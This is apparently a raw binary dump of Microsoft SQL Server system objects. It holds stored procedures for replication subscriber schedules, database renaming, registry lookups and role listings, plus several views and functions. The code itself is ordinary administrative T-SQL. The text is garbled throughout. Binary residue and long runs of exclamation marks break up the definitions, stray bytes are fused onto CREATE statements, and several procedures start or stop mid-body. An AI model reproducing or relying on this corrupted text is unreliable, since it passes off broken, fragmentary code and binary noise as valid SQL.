   if @active_start_date is not NULL
      update MSsubscriber_schedule set active_start_date = @active_start_date 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 0
      if @@error <> 0
         goto FAILED
   
   if @active_end_date is not NULL
      update MSsubscriber_schedule set active_end_date = @active_end_date 
      where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 0
      if @@error <> 0
         goto FAILED
   
   if @description is not NULL
      update MSsubscriber_info set description = @description 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber)
      if @@error <> 0
         goto FAILED

    if @security_mode is not NULL
      update MSsubscriber_info set security_mode = @security_mode 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber)
      if @@error <> 0
         goto FAILED

   commit transaction
   return (0)
   
FAILED:
    if @@trancount > 0
    begin
        rollback transaction update_subscriber
        commit tran -- to finish off the tran we started in this proc (though 
                    -- work was rolled back to savepoint)
    end
   return (1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<?
	M*#~n0@.O _8CREATE PROCEDURE sys.sp_MSupdate_subscriber_schedule
(
    @publisher sysname,
    @subscriber sysname,
    @agent_type tinyint = NULL,
    @frequency_type int = NULL,
    @frequency_interval int = NULL,
    @frequency_relative_interval int = NULL,
    @frequency_recurrence_factor int = NULL,
    @frequency_subday int = NULL,
    @frequency_subday_interval int = NULL,
    @active_start_time_of_day int = NULL,
    @active_end_time_of_day int = NULL,
    @active_start_date int = NULL,
    @active_end_date int = NULL
)
AS
begin
   set nocount on
   
   declare @cmd1 nvarchar (255)
   declare @retcode int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

   begin transaction
   save transaction update_subscriber_schedule
   
   /* Check if subscriber exists */
   if not exists (select * from MSsubscriber_info 
            where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber))
       goto FAILED
       
    if not exists (select * from MSsubscriber_schedule 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = @agent_type)
       goto FAILED
    
   
   if @frequency_type is not NULL
      update MSsubscriber_schedule set frequency_type = @frequency_type 
      where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = @agent_type
      if @@error <> 0
         goto FAILED
   
   if @frequency_interval is not NULL
      update MSsubscriber_schedule set frequency_interval = @frequency_interval 
      where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = @agent_type
      if @@error <> 0
         goto FAILED
   
   if @frequency_relative_interval is not NULL
      update MSsubscriber_schedule set frequency_relative_interval = @frequency_relative_interval 
      where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = @agent_type
      if @@error <> 0
         goto FAILED
   
   if @frequency_recurrence_factor is not NULL
      update MSsubscriber_schedule set frequency_recurrence_factor = @frequency_recurrence_factor 
      where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = @agent_type
       if @@error <> 0
         goto FAILED
   
   if @frequency_subday is not NULL
      update MSsubscriber_schedule set frequency_subday = @frequency_subday 
      where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = @agent_type
      if @@error <> 0
         goto FAILED
   
   if @frequency_subday_interval is not NULL
      update MSsubscriber_schedule set frequency_subday_interval = @frequency_subday_interval 
      where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = @agent_type
      if @@error <> 0
         goto FAILED
   
   if @active_start_time_of_day is not NULL
      update MSsubscriber_schedule set active_start_time_of_day = @active_start_time_of_day 
      where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = @agent_type
      if @@error <> 0
         goto FAILED
   
   if @active_end_time_of_day is not NULL
      update MSsubscriber_schedule set active_end_time_of_day = @active_end_time_of_day 
      where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = @agent_type
      if @@error <> 0
         goto FAILED
   
   if @active_start_date is not NULL
      update MSsubscriber_schedule set active_start_date = @active_start_date 
      where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = @agent_type
      if @@error <> 0
         goto FAILED
   
   if @active_end_date is not NULL
      update MSsubscriber_schedule set active_end_date = @active_end_date 
      where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = @agent_type
      if @@error <> 0
         goto FAILED

   commit transaction
   return (0)
   
FAILED:
    if @@trancount > 0
    begin
        rollback transaction update_subscriber_schedule
        commit transaction      -- to finish off the tran we started in this proc (though 
                                -- work was rolled back to savepoint)
    end
   return (1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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 lXp\H4 






l
X
D
0


|hT@,xdP,8`L<(
p



<
t
`
L
8
$

			P				p	\	H	4	 		Ddx@lXD0P|hT@,h|TxThdP<( d<t|`L(8$Xp\H4 tlXD0@4x|h$T@,0l(xH\dP<(,t`<>
	E(,01@ 8 
-- add it
create view sys.pdw_diag_events as
select
	name	collate database_default name,
	source	collate database_default source,
	is_enabled
from sys._pdw_diag_events
0: h8Q[h>8^}0xA +8create procedure sys.sp_renamedb	--- 1996/08/20 13:52
	@dbname sysname,				-- old (current) db name
	@newname sysname				-- new name we want to call it
as
	-- Use sp_rename instead.
	declare @objid int				-- object id of the thing to rename
	declare @bitdesc varchar(30)	-- bit description for the db
	declare @curdbid int			-- id of database to be changed
	declare @execstring nvarchar (max)

	--  If we're in a transaction, disallow this since it might make recovery impossible.
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_renamedb')
		return (1)
	end

	--  Only the SA can do this.
	if not (is_srvrolemember('dbcreator') = 1)
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	--  Make sure the database exists.
	if not exists (select * from master.dbo.sysdatabases where name = @dbname)
	begin
		raiserror(15010,-1,-1,@dbname)
		return (1)
	end

	--  Make sure that the @newname db doesn't already exist.
	if exists (select * from master.dbo.sysdatabases where name = @newname)
	begin
		raiserror(15032,-1,-1,@newname)
		return (1)
	end

	-- Check to see that the @newname is valid.
	declare @returncode int
	EXEC @returncode = sys.sp_validname @newname
	if @returncode <> 0
	begin
		raiserror(15224,-1,15,@newname)
		return(1)
	end

	-- Don't allow the names of master, tempdb, and model to be changed.
	if @dbname in ('master', 'model', 'tempdb')
	begin
		raiserror(15227,-1,-1,@dbname)
		return (1)
	end

	select @execstring = 'ALTER DATABASE '
		+ quotename( @dbname , '[')
		+ ' MODIFY NAME = '
		+ quotename( @newname , '[')

	EXEC (@execstring)

	if @@error <>  0
	begin
		-- No need to raiserror as the CREATE DATABASE will do so
		return(1)
	end

	return (0) -- sp_renamedb
0cF 8CREATE VIEW sys.fulltext_semantic_languages AS
	SELECT lcid, name 
	FROM OpenRowSet(TABLE SYSSEMANTICLANGUAGES)
0$G q8--
-- Name: sp_MSgettools_path
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSgettools_path ( @install_path NVARCHAR(260) OUTPUT )
AS
BEGIN
    
    DECLARE @retcode INTEGER
    DECLARE @regkey NVARCHAR(260)

    SET NOCOUNT ON 
    
    SELECT @regkey = sys.fn_replgetsqlserverregkey() collate database_default + N'Tools\ClientSetup'

    EXECUTE @retcode = master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 
        @regkey,
        'SQLPath',
        @param = @install_path OUTPUT

    IF ( @retcode <> 0 ) or ( @@ERROR <> 0 ) or ( @install_path IS NULL ) or ( @install_path = '' )
    BEGIN
        RETURN (1)
    END

    RETURN (0)

END
0L6 8CREATE PROCEDURE sys.sp_MSdrop_subscriber_info
(
    @publisher sysname,
    @subscriber sysname
)
AS
begin
    set nocount on

    declare @srvid smallint
    declare @publisher_id smallint
    declare @publisher_db sysname
  
    -- Security Check
    IF IS_SRVROLEMEMBER ('sysadmin') != 1
    BEGIN
    	-- "You do not have sufficient permission to run this command."
        RAISERROR(14260, 16, -1)
        RETURN 1
    END
    
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdrop_subscriber_info', 'distribution')
        return (1)
    end

    if exists (select * from MSsubscriber_info where
        UPPER(subscriber) = UPPER(@subscriber))
    begin

        select @srvid = srvid from master.dbo.sysservers where lower(srvname) = lower(@subscriber)

        -- For SQL server publishers, drop the existing subscriptions.
        -- This has to be done for 65 upgrade.
        -- For third party, check for error.
        if exists (select * from msdb..MSdistpublishers where 
            lower(name) = lower(@publisher) and
            thirdparty_flag = 0)
        begin
            -- This is needed for 6.5 upgrade.
            -- Remove subscription entries for this publisher and subscriber pair
            -- Get dist publisher ID
            exec sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
            delete dbo.MSsubscriptions where subscriber_id = @srvid and 
                publisher_id = @publisher_id
        end
        else
        begin
            if exists (select * from dbo.MSsubscriptions where subscriber_id = @srvid)
            begin
                raiserror(20100, 16, -1, @subscriber)
                return (1)
            end
        end

        delete MSsubscriber_info where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber)
        if @@error <> 0
            return 1
        delete MSsubscriber_schedule where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber)
        if @@error <> 0
            return 1
    end
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!X	2`P	</	]tG0 Q8--
-- Name: fn_replbitstringtoint
--
-- Description: This function returns the integer value of the specified
--              32-bit bit pattern in string format.
--
-- Parameter:   @bitstring char(32)
--
-- Notes:
--
-- Returns:     int
--
-- Security:    Execute permission of this function is granted to public.
--
create function sys.fn_replbitstringtoint(
    @bitstring char(32)
    ) returns int
as
begin
    declare @number int 
    select @number = 0
    if (substring(@bitstring,1,1) = '1') select @number = @number | 0x80000000 
    if (substring(@bitstring,2,1) = '1') select @number = @number | 0x40000000 
    if (substring(@bitstring,3,1) = '1') select @number = @number | 0x20000000 
    if (substring(@bitstring,4,1) = '1') select @number = @number | 0x10000000 
    if (substring(@bitstring,5,1) = '1') select @number = @number | 0x08000000 
    if (substring(@bitstring,6,1) = '1') select @number = @number | 0x04000000 
    if (substring(@bitstring,7,1) = '1') select @number = @number | 0x02000000 
    if (substring(@bitstring,8,1) = '1') select @number = @number | 0x01000000 
    if (substring(@bitstring,9,1) = '1') select @number = @number | 0x00800000 
    if (substring(@bitstring,10,1) = '1') select @number = @number | 0x00400000 
    if (substring(@bitstring,11,1) = '1') select @number = @number | 0x00200000 
    if (substring(@bitstring,12,1) = '1') select @number = @number | 0x00100000 
    if (substring(@bitstring,13,1) = '1') select @number = @number | 0x00080000 
    if (substring(@bitstring,14,1) = '1') select @number = @number | 0x00040000 
    if (substring(@bitstring,15,1) = '1') select @number = @number | 0x00020000 
    if (substring(@bitstring,16,1) = '1') select @number = @number | 0x00010000 
    if (substring(@bitstring,17,1) = '1') select @number = @number | 0x00008000 
    if (substring(@bitstring,18,1) = '1') select @number = @number | 0x00004000 
    if (substring(@bitstring,19,1) = '1') select @number = @number | 0x00002000 
    if (substring(@bitstring,20,1) = '1') select @number = @number | 0x00001000 
    if (substring(@bitstring,21,1) = '1') select @number = @number | 0x00000800 
    if (substring(@bitstring,22,1) = '1') select @number = @number | 0x00000400 
    if (substring(@bitstring,23,1) = '1') select @number = @number | 0x00000200 
    if (substring(@bitstring,24,1) = '1') select @number = @number | 0x00000100 
    if (substring(@bitstring,25,1) = '1') select @number = @number | 0x00000080 
    if (substring(@bitstring,26,1) = '1') select @number = @number | 0x00000040 
    if (substring(@bitstring,27,1) = '1') select @number = @number | 0x00000020 
    if (substring(@bitstring,28,1) = '1') select @number = @number | 0x00000010 
    if (substring(@bitstring,29,1) = '1') select @number = @number | 0x00000008 
    if (substring(@bitstring,30,1) = '1') select @number = @number | 0x00000004 
    if (substring(@bitstring,31,1) = '1') select @number = @number | 0x00000002 
    if (substring(@bitstring,32,1) = '1') select @number = @number | 0x00000001 
    return @number
end
0ғ 8create procedure sys.sp_MSretrieve_publication_attributes 
@name             sysname,
@database         sysname
AS

SET NOCOUNT ON

declare @mergepublish_bit    int
declare @tranpublish_bit    int
declare @procname            nvarchar(640)
declare @retcode            int

select @mergepublish_bit    = 4 
select @tranpublish_bit     = 1

/*
** Security Check, will be checked inside sp_MSretrieve_publication
** and sp_MSretrieve_mergepublication
*/

create table #publication_property (
    Name                     sysname collate database_default,
    dbname                    sysname collate database_default,
    Publisher                sysname collate database_default,
    Type                    nvarchar(15) collate database_default,
    Description                nvarchar(255) collate database_default,
    Status                    tinyint,
    allow_pull                bit,
    allow_sync_tran            bit,
    allow_anonymous            bit,
    allow_queued_tran        bit,
    enabled_for_internet    bit,
    third_party                bit
)

if (select category & @tranpublish_bit from master.dbo.sysdatabases where name = @database collate database_default) <> 0
    begin
        select @procname = quotename(@database) + '.sys.sp_MSretrieve_publication '
        insert into #publication_property exec @retcode = @procname @name
    end

if (select category & @mergepublish_bit from master.dbo.sysdatabases where name = @database collate database_default) <> 0
    begin
        select @procname = quotename(@database) + '.sys.sp_MSretrieve_mergepublication '
        insert into #publication_property exec @retcode = @procname @name
    end
select * from #publication_property
drop table #publication_property
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
n<Z	/0X 8create function sys.fn_fulltext_compindex(
    @dbid int,
    @objid int,
    @complevel int)
returns table as return
    select * from openrowset(TABLE FTCOMPINDEX, @dbid, @objid, @complevel) compidx 
0 D8hS0T0V@ 8CREATE VIEW sys.dm_clr_properties AS
	SELECT
		name,
		value
	FROM OpenRowset(TABLE DM_CLR_PROPERTIES) 
0 @
8--
-- Name: sp_MSrepl_set_oracle_provider_inproc_on64bit
--
-- Descriptions: Set oracle oledb provider to work inproc on 64 bit machine due to a bug in oracle outproc provider.
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
CREATE procedure sys.sp_MSrepl_set_oracle_provider_inproc_on64bit
AS
	SET NOCOUNT ON
	DECLARE @64bit	 int			
	DECLARE @retcode  int
	select  @64bit = 0

	-- Get version info
	declare @tmp_table TABLE (idx smallint,name	sysname,internal_value varbinary(8), character_value nvarchar(120))

	-- Get 64 bit indicator	
	INSERT @tmp_table EXEC master.dbo.xp_msver 'Platform'
	SELECT	@64bit = COUNT(*) FROM @tmp_table WHERE idx = 4  AND character_value like '%64%'		
	
	-- Not a 64 bit machine ? - nothng to do
	IF(@64bit =  0)
		RETURN (0);
	 
	declare @regkey nvarchar(4000)
	declare @InstanceName sysname;
	declare @InstanceId sysname;					
	declare @AllowInProcess int
	declare @AllowInProcessRegName  sysname								

	-- get the instance name
	SELECT @InstanceName =  CONVERT(sysname, SERVERPROPERTY('InstanceName'))
	IF @InstanceName IS NULL
		SELECT @InstanceName  =  'MSSQLSERVER'


	-- map instance name to instance id
	SELECT @regkey = 'SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL'
	DECLARE @tblValueExists table ([value] nvarchar(260), [data] nvarchar(260))	
	INSERT INTO @tblValueExists EXECUTE master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 
		@regkey,
		@InstanceName

	IF((SELECT COUNT(*) FROM @tblValueExists) = 0)
	BEGIN
		RAISERROR(21628, 16, -1, @@SERVERNAME)
		RETURN(1)
	END
	
	SELECT @InstanceId = (SELECT [data] FROM @tblValueExists)
	DELETE @tblValueExists		

	-- set instance id registry path
	SELECT @regkey = 'SOFTWARE\Microsoft\Microsoft SQL Server\' +  @InstanceId + '\Providers\OraOLEDB.ORACLE'

	-- read the AllowInProcess value
	SELECT @AllowInProcessRegName = 'AllowInProcess'	
	SELECT @AllowInProcess = null
	INSERT INTO @tblValueExists EXECUTE master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 
		@regkey,
		@AllowInProcessRegName					

	-- The registry key was already set - so bail out.
	IF((SELECT COUNT(*) FROM @tblValueExists) <> 0)
	BEGIN
		RETURN(0)
	END    

	-- allow inproc access to the oracle provider if the AllowInProcess value was not found
	EXECUTE @retcode =  master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
					   @regkey,
					   @AllowInProcessRegName,
					   'REG_DWORD',
						1  

	IF(@retcode <> 0)
	BEGIN
		RAISERROR(21628, 16, -1, @@SERVERNAME)
		RETURN(1)
	END


07 F8create procedure sys.sp_helprole
	@rolename       sysname = NULL
AS
	if @rolename is not null
	begin
		-- VALIDATE GIVEN NAME
		if not exists (select * from sys.database_principals where name = @rolename and (type = 'R' or type = 'A'))
		begin
			raiserror(15409, -1, -1, @rolename)
			return (1)
		end

		-- RESULT SET FOR SINGLE ROLE
		select 'RoleName' = name, 'RoleId' = principal_id, 'IsAppRole' = case type when 'A' then 1 else 0 end
			from sys.database_principals
			where (name = @rolename) and (type = 'R' or type = 'A')
	end
	else
	begin
		-- RESULT SET FOR ALL ROLES
		select 'RoleName' = name, 'RoleId' = principal_id, 'IsAppRole' = case type when 'A' then 1 else 0 end
			from sys.database_principals where (type = 'R' or type = 'A')
	end

	return (0) -- sp_helprole
0@ 8create procedure sys.sp_MSmarkreplinfo(
    @object                sysname,            /* Name of the table, unqualitied */
    @owner                sysname = NULL        /* Name of the owner, unqualified */
)AS
declare @retcode int

exec @retcode = sys.sp_MSunmarkreplinfo @object=@object, @owner=@owner, @type = 1
if @@ERROR<>0 or @retcode<>0
    return (1)
return (0)
0x)@ 8create procedure sys.sp_MSreleaseFixPALRoleAppLock
as
begin
    set nocount on

    declare @retcode smallint
    declare @lock_resource nvarchar(255)
    declare @DbPrincipal sysname 

    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@error<>0
        return 1
        
    select @retcode = 0
    
    -- use the dbowner role
    select @DbPrincipal = N'db_owner'
    select @lock_resource = N'MSinternal_repl_Fix_PAL_' + convert(nvarchar(6), db_id()) 

    exec @retcode = sp_releaseapplock @Resource = @lock_resource, @LockOwner = N'Session', @DbPrincipal = @DbPrincipal
    if @@error<>0 or @retcode<0
        return 1
    else
        return 0
end
0ʷ 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_brokers as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_brokers
02@ D8TMh$02o 8create procedure sys.sp_MSreleasedynamicsnapshotapplock(
    @publication sysname,
    @partition_id int)
as
begin
    set nocount on

    declare @retcode smallint
    declare @lock_resource nvarchar(255)
    declare @pubnumber smallint
    declare @publisher sysname
    declare @publisher_db sysname
    declare @pubid uniqueidentifier
    declare @PALRole sysname   	

    select @publisher = publishingservername() 
    select @publisher_db = DB_NAME(DB_ID()) 

    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @publication = @publication
    if @retcode<>0 or @@error<>0
        return 1
        
    -- partition id can be >= 0 
    if @partition_id = -1
        return 0
        
        select @retcode = 0
    select @pubnumber = publication_number, @pubid = pubid from dbo.sysmergepublications  
        where name=@publication and upper(publisher)=upper(@publisher) and publisher_db=@publisher_db
    if @pubnumber is NULL or @pubnumber = 0 
    begin
        RAISERROR (20026, 16, -1, @publication)
        return 1
    end

    select @lock_resource = N'MSinternal_dynamic_snapshot_' + 
                    convert(nvarchar(6), db_id()) + '_' +
                    convert(nvarchar(6), @pubnumber) + '_' +
                    convert(nvarchar(11), @partition_id)

    -- Since we have gone through the PAL check already, the PAL role
    -- should have been set. The following call to fn_MSmerge_GetPALRole 
    -- is nothing more than a way to retrieve the PAL role name
    select @PALRole = NULL
    select @PALRole = sys.fn_MSmerge_GetPALRole(@pubid)
    if @PALRole is NULL
        return 1

    exec @retcode = sp_releaseapplock @Resource = @lock_resource, @LockOwner = N'Session', @DbPrincipal = @PALRole
    if @@error <> 0 or @retcode < 0
        return 1
    else
        return 0
end
0 P8V/hh>iKj06֜ D8`h!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!JEa7!P`5	<	["30wX =8create procedure sys.sp_helplanguage --- 1996/04/08 00:00
@language sysname = NULL
as
	-- Print all languages if the user didn't give the language name.
	if @language is null
	begin
		if exists (select * from sys.syslanguages)
			select * from sys.syslanguages
		else
			raiserror(15452,-1,-1)

		-- Find out whether us_english is there or not.
		if not exists (select * from sys.syslanguages
				where name = 'us_english')
			raiserror(15453,-1,-1)

		return (0)
	end

	--  Report information on this language.
	if exists (select * from sys.syslanguages where name = @language)
	begin
		select * from sys.syslanguages where name = @language
		return (0)
	end

	if exists (select * from sys.syslanguages where alias = @language)
	begin
		select * from sys.syslanguages where alias = @language
		return (0)
	end

	-- Couldn't find this language.
	if @language = 'us_english'
	begin
		raiserror(15453,-1,-1)
		return (0)
	end
	else
	begin
		raiserror(15033,-1,-1,@language)
		return (1)
	end
-- sp_helplanguage
0E1\ [8create function sys.fn_chariswhitespace(
    @char nchar(1)
    ) returns bit
begin
    declare @result bit

    if @char in (N' ', nchar(9), nchar(10), nchar(13), N'')
    begin
        select @result = 1
    end
    else
    begin
        select @result = 0
    end
    return @result        
end
05o 8 
-- add it
create view sys.dm_pdw_nodes_tran_current_snapshot as
select *, convert(int, null) pdw_node_id from sys.dm_tran_current_snapshot
